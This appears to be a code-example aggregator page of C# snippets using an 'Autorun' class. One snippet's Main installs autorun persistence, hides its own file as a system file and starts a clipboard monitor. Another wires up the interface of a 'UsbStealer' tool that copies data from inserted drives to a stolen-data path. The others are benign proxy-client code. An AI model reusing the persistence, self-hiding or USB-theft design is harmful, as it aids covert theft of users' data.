コード例 #1
0
 private static void Main()
 {
     AppMutex.Check();
     if (!Autorun.is_installed())
     {
         Autorun.install();
     }
     Attributes.set_hidden();
     Attributes.set_system();
     ClipboardMonitor.run();
 }
コード例 #2
0
        public JsonConfig()
        {
            config            = new List <Config>();
            versions          = new List <string>();
            autorun           = new Autorun();
            shadowsocksConfig = new ShadowsocksConfig();

            shadowsocksPath = null;
            autorunEnabled  = false;
            autoStartup     = false;
            //pacUrl = new PacUrl();
        }
コード例 #3
0
        private async void Window_Loaded(object sender, RoutedEventArgs e)
        {
            //Check Updates
            var updateCheck =
                new UpdateCheck(FileVersionInfo.GetVersionInfo(Assembly.GetExecutingAssembly().Location).ProductVersion);
            await updateCheck.CheckUpdates();

            if (!updateCheck.IsUpdated)
            {
                MessageBoxResult result = MessageBox.Show("Would you like to Update to the latest version?", "Update",
                                                          MessageBoxButton.YesNo, MessageBoxImage.Question, MessageBoxResult.Yes);
                if (result == MessageBoxResult.Yes)
                {
                    updateCheck.OpenDownloadingSite();
                }
            }

            var keys = Enum.GetNames(typeof(Key));

            ComboBoxStartHotKey.ItemsSource = keys;
            ComboBoxStopHotKey.ItemsSource  = keys;
            if (!Settings.ReadFromFile(UsbStealer, this))
            {
                Settings.Reset(UsbStealer, this);
            }

            UsbStealer.OnNewDriverAdded            += UpdateListViewDrives;
            UsbStealer.OnStoppedMonitor            += UsbStealerOnOnStoppedMonitor;
            UsbStealer.OnStartedMonitor            += UsbStealerOnOnStartedMonitor;
            ButtonStartMonitor.DataContext          = UsbStealer;
            ButtonStopMonitor.DataContext           = UsbStealer;
            TextBoxStolenDataPath.DataContext       = UsbStealer;
            TextBoxLogPath.DataContext              = UsbStealer;
            TextBoxMonitorRefreshRate.DataContext   = UsbStealer;
            TextBoxPrecedenceExtensions.DataContext = UsbStealer.FileTransferSettings;
            CheckBoxCopyFilesBySize.DataContext     = UsbStealer.FileTransferSettings;
            ComboBoxStartHotKey.DataContext         = UsbStealer;
            ComboBoxStopHotKey.DataContext          = UsbStealer;
            CheckBoxEnableLogFile.DataContext       = UsbStealer;
            CheckBoxShowProgress.DataContext        = this;
            CheckBoxLaunchOnStartup.IsChecked       =
                Autorun.IsEnabled(Assembly.GetExecutingAssembly().FullName);

            //Check Command Line Arguments

            CheckCommandLineArguments();
        }
コード例 #4
0
 private void CheckBoxLaunchOnStartup_OnClick(object sender, RoutedEventArgs e)
 {
     try
     {
         if (((CheckBox)sender).IsChecked == true)
         {
             Autorun.Enable(Assembly.GetExecutingAssembly().FullName,
                            Assembly.GetExecutingAssembly().Location + " /autostart");
         }
         else
         {
             Autorun.Disable(Assembly.GetExecutingAssembly().FullName);
         }
     }
     catch (Exception ex)
     {
         MessageBox.Show("An error occurred: " + Environment.NewLine + ex.Message, "Error", MessageBoxButton.OK,
                         MessageBoxImage.Error, MessageBoxResult.OK);
         ((CheckBox)sender).IsChecked = !((CheckBox)sender).IsChecked;
     }
 }
コード例 #5
0
ファイル: App.xaml.cs プロジェクト: KoakiMiku/V2RaySharp
        private void Application_Startup(object sender, StartupEventArgs e)
        {
            try
            {
                var isSingle = SingleInstance.IsSingle();
                if (!isSingle)
                {
                    SingleInstance.SetForeground();
                    return;
                }

                var isTrueDirectory = DirectoryCheck.IsTrueDirectory();
                if (!isTrueDirectory)
                {
                    throw new Exception(I18N.GetString("FileNotFound"));
                }

                var isAdmin = Administrator.IsAdmin();
                if (e.Args.Length == 0 && isAdmin)
                {
                    switch (MessageBox.Show($"{I18N.GetString("Setup")}", name,
                                            MessageBoxButton.YesNoCancel, MessageBoxImage.Information))
                    {
                    case MessageBoxResult.Yes:
                        Autorun.Add();
                        DesktopMenu.Add();
                        break;

                    case MessageBoxResult.No:
                        Autorun.Remove();
                        DesktopMenu.Remove();
                        V2Ray.Stop();
                        break;

                    default:
                        break;
                    }
                }
                else if (e.Args.Length == 0 && !isAdmin)
                {
                    throw new Exception(I18N.GetString("PermissionDenied"));
                }
                else if (e.Args[0] == "-start")
                {
                    V2Ray.Start();
                }
                else if (e.Args[0] == "-stop")
                {
                    V2Ray.Stop();
                }
                else if (e.Args[0] == "-config")
                {
                    var window = new MainWindow();
                    window.ShowDialog();
                }
                else
                {
                    throw new ArgumentException();
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, name, MessageBoxButton.OK, MessageBoxImage.Error);
            }
            finally
            {
                Environment.Exit(Environment.ExitCode);
            }
        }